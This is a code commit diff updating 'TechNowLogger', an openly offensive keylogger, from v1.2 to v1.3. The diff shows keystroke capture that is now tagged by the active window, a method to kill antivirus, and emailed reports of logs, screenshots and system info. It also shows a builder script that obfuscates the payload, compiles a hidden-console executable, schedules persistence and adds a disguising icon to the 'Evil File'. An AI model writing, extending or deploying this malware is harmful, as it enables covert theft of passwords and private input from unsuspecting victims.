Skip to content

Commit c2bce67

Browse files
Updating files from v1.2 to v1.3
1 parent 570f8c1 commit c2bce67

3 files changed

Lines changed: 54 additions & 42 deletions

File tree

keylogger.py

Lines changed: 39 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@
1919
from email.mime.application import MIMEApplication
2020
from os.path import basename
2121
#==============================================================
22-
22+
import win32gui as w # Used to Get The Active Window Name
2323

2424
class Keylogger:
2525
def __init__(self, time_interval, email, password):
@@ -29,6 +29,7 @@ def __init__(self, time_interval, email, password):
2929
self.password = password
3030
self.temp_screenshot = tempfile.gettempdir() + "\\screenshot.png"
3131
self.system_info = self.get_system_info()
32+
self.lastWindow = "" #Used to Distinguish Log Data
3233

3334
def kill_av(self):
3435
try:
@@ -63,95 +64,102 @@ def get_system_info(self):
6364
return "Operating System:\t" + os + "\nComputer Name:\t\t" + computer_name + "\nUser:\t\t\t\t" + user
6465

6566
def process_key_press(self, key):
67+
current_key = ""
68+
CurrentWindowName = w.GetWindowText(w.GetForegroundWindow())
69+
70+
if self.lastWindow != CurrentWindowName:
71+
self.lastWindow = CurrentWindowName
72+
current_key = f"\n\n[OnWard Data Entered In : {CurrentWindowName}]\n"
73+
6674
try:
67-
current_key = str(key.char)
75+
current_key += str(key.char)
6876
except AttributeError:
6977
if key == key.space:
70-
current_key = " "
78+
current_key += " "
7179

7280
elif key == key.enter:
73-
current_key = " [ENTER] "
81+
current_key += " [ENTER] "
7482

7583
elif key == key.backspace:
76-
current_key = " [BACKSPACE] "
84+
current_key += " [BACKSPACE] "
7785

7886
elif key == key.ctrl_l or key == key.ctrl_r:
79-
current_key = " [CTRL] "
87+
current_key += " [CTRL] "
8088

8189
elif key == key.shift or key == key.shift_r:
82-
current_key = " [SHIFT] "
90+
current_key += " [SHIFT] "
8391

8492
elif key == key.delete:
85-
current_key = " [DELETE] "
93+
current_key += " [DELETE] "
8694

8795
elif key == key.esc:
88-
current_key = " [ESC] "
96+
current_key += " [ESC] "
8997

9098
elif key == key.tab:
91-
current_key = " [TAB] "
99+
current_key += " [TAB] "
92100

93101
elif key == key.up:
94-
current_key = " [UP] "
102+
current_key += " [UP] "
95103

96104
elif key == key.down:
97-
current_key = " [DOWN] "
105+
current_key += " [DOWN] "
98106

99107
elif key == key.left:
100-
current_key = " [LEFT] "
108+
current_key += " [LEFT] "
101109

102110
elif key == key.right:
103-
current_key = " [RIGHT] "
111+
current_key += " [RIGHT] "
104112

105113
elif key == key.cmd or key == key.cmd_r:
106-
current_key = " [WINDOWS-KEY] "
114+
current_key += " [WINDOWS-KEY] "
107115

108116
elif key == key.f1:
109-
current_key = " [F1] "
117+
current_key += " [F1] "
110118

111119
elif key == key.f2:
112-
current_key = " [F2] "
120+
current_key += " [F2] "
113121

114122
elif key == key.f3:
115-
current_key = " [F3] "
123+
current_key += " [F3] "
116124

117125
elif key == key.f4:
118-
current_key = " [F4] "
126+
current_key += " [F4] "
119127

120128
elif key == key.f5:
121-
current_key = " [F5] "
129+
current_key += " [F5] "
122130

123131
elif key == key.f6:
124-
current_key = " [F6] "
132+
current_key += " [F6] "
125133

126134
elif key == key.f7:
127-
current_key = " [F7] "
135+
current_key += " [F7] "
128136

129137
elif key == key.f8:
130-
current_key = " [F8] "
138+
current_key += " [F8] "
131139

132140
elif key == key.f9:
133-
current_key = " [F9] "
141+
current_key += " [F9] "
134142

135143
elif key == key.f10:
136-
current_key = " [F10] "
144+
current_key += " [F10] "
137145

138146
elif key == key.f11:
139-
current_key = " [F11] "
147+
current_key += " [F11] "
140148

141149
elif key == key.f12:
142-
current_key = " [F12] "
150+
current_key += " [F12] "
143151

144152
elif key == key.alt_l or key == key.alt_r:
145-
current_key = " [ALT] "
153+
current_key += " [ALT] "
146154

147155
elif key == key.caps_lock:
148-
current_key = " [CAPSLOCK] "
156+
current_key += " [CAPSLOCK] "
149157

150158
elif key == key.home:
151-
current_key = " [HOME] "
159+
current_key += " [HOME] "
152160

153161
else:
154-
current_key = " " + str(key) + " "
162+
current_key += " " + str(key) + " "
155163
self.append_to_log(current_key)
156164

157165
def report(self):

technowgen.py

Lines changed: 14 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@
1212
WINDOWS_PYTHON_PYINSTALLER_PATH = os.path.expanduser("C:/Python37-32/Scripts/pyinstaller.exe")
1313

1414
def get_arguments():
15-
parser = argparse.ArgumentParser(description=f'{RED}TechNowLogger v1.2')
15+
parser = argparse.ArgumentParser(description=f'{RED}TechNowLogger v1.3')
1616
parser._optionals.title = f"{GREEN}Optional Arguments{YELLOW}"
1717
parser.add_argument("-i", "--interval", dest="interval", help="Time between reports in seconds. default=120", default=120)
1818
parser.add_argument("-t", "--persistence", dest="time_persistent", help="Becoming Persistence After __ seconds. default=10", default=10)
@@ -21,6 +21,7 @@ def get_arguments():
2121

2222

2323
required_arguments = parser.add_argument_group(f'{RED}Required Arguments{GREEN}')
24+
required_arguments.add_argument("--icon", dest="icon", help="Specify Icon Path, Icon of Evil File [Note : Must Be .ico].")
2425
required_arguments.add_argument("-e", "--email", dest="email", help="Email address to send reports to.")
2526
required_arguments.add_argument("-p", "--password", dest="password", help="Password for the email address given in the -e argument.")
2627
required_arguments.add_argument("-o", "--out", dest="out", help="Output file name.", required=True)
@@ -29,7 +30,7 @@ def get_arguments():
2930
def check_dependencies():
3031
print(f"{YELLOW}\n[*] Checking Dependencies...")
3132
try:
32-
import mss, essential_generators, PyInstaller, pynput, six
33+
import mss, essential_generators, PyInstaller, pynput, six, win32gui
3334
print(f"{GREEN}[+] All Dependencies are Installed on this system ;)\n")
3435
except Exception as e:
3536
print(f"[!] Error : {e}")
@@ -44,6 +45,7 @@ def check_dependencies():
4445
pip.main(['install', 'pynput==1.4.4'])
4546
pip.main(['install', 'six==1.12.0'])
4647
pip.main(['install', 'python-xlib==0.25'])
48+
pip.main(['install', 'win32gui'])
4749
print(f'\n{WHITE}[ * * * * * * * * * * * * * * * * * * * * * * * * * ]\n')
4850
print(f"{GREEN}\n[+] Dependencies installed correctly ;)\n")
4951
break
@@ -65,11 +67,11 @@ def obfuscating_payload(file_name):
6567
with open(file_name, "a") as file:
6668
file.write(text)
6769

68-
def compile_for_windows(file_name):
69-
subprocess.call([WINDOWS_PYTHON_PYINSTALLER_PATH, "--onefile", "--noconsole", "--hidden-import=pynput.keyboard", "--hidden-import=keylogger", file_name])
70+
def compile_for_windows(file_name, icon_path):
71+
subprocess.call(f"{WINDOWS_PYTHON_PYINSTALLER_PATH} --onefile --noconsole --hidden-import=pynput.keyboard --hidden-import=keylogger {file_name} -i {icon_path}", shell=True)
7072

71-
def compile_for_linux(file_name):
72-
subprocess.call(["pyinstaller", "--onefile", "--noconsole", "--hidden-import=pynput.keyboard", "--hidden-import=keylogger", file_name])
73+
def compile_for_linux(file_name, icon_path):
74+
subprocess.call(f"pyinstaller --onefile --noconsole --hidden-import=pynput.keyboard --hidden-import=keylogger {file_name} -i {icon_path}", shell=True)
7375

7476
def del_junk_file(file_name):
7577
build = os.getcwd() + "\\build"
@@ -101,7 +103,8 @@ def exit_greet():
101103
print(f' {YELLOW}Password:{RED} ' + arguments.password)
102104
print(f' {YELLOW}Log\'s Send Interval:{RED} Every ' + str(arguments.interval) + ' seconds')
103105
print(f' {YELLOW}Becomes Persistence After:{RED} ' + str(arguments.time_persistent) + ' seconds')
104-
print(f' {YELLOW}Output Evil File Name:{RED} ' + arguments.out)
106+
print(f' {YELLOW}Output Evil File Name:{RED} ' + arguments.out)
107+
print(f' {YELLOW}Icon Path:{RED} ' + arguments.icon)
105108
print(f'\n{GREEN}[ * * * * * * * * * * * * * * * * * * * * * * * * * ]')
106109

107110
ask = input(f'\n{WHITE}[?] These info above are correct? (y/n) : ')
@@ -113,7 +116,8 @@ def exit_greet():
113116
arguments.password = input('[?] Type your gmail password: ')
114117
arguments.interval = int(input('[?] Time interval to send logs; [In Seconds]: '))
115118
arguments.time_persistent = int(input('[?] Time after to become persistence; [In Seconds]: '))
116-
arguments.out = input('[?] Output Evil File Name: ')
119+
arguments.out = input('[?] Output Evil File Name: ')
120+
arguments.icon = input('[?] Icon Path (If Present In This Directory, then just type Name): ')
117121

118122
check_dependencies()
119123

@@ -128,10 +132,10 @@ def exit_greet():
128132
print(f"{MAGENTA}")
129133

130134
if arguments.windows:
131-
compile_for_windows(arguments.out)
135+
compile_for_windows(arguments.out, arguments.icon)
132136

133137
if arguments.linux:
134-
compile_for_linux(arguments.out)
138+
compile_for_linux(arguments.out, arguments.icon)
135139

136140
print(f"\n{YELLOW}[*] Deleting Junk Files...")
137141
del_junk_file(arguments.out)

version.txt

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
1.2
1+
1.3
22

33

44

0 commit comments

Comments
 (0)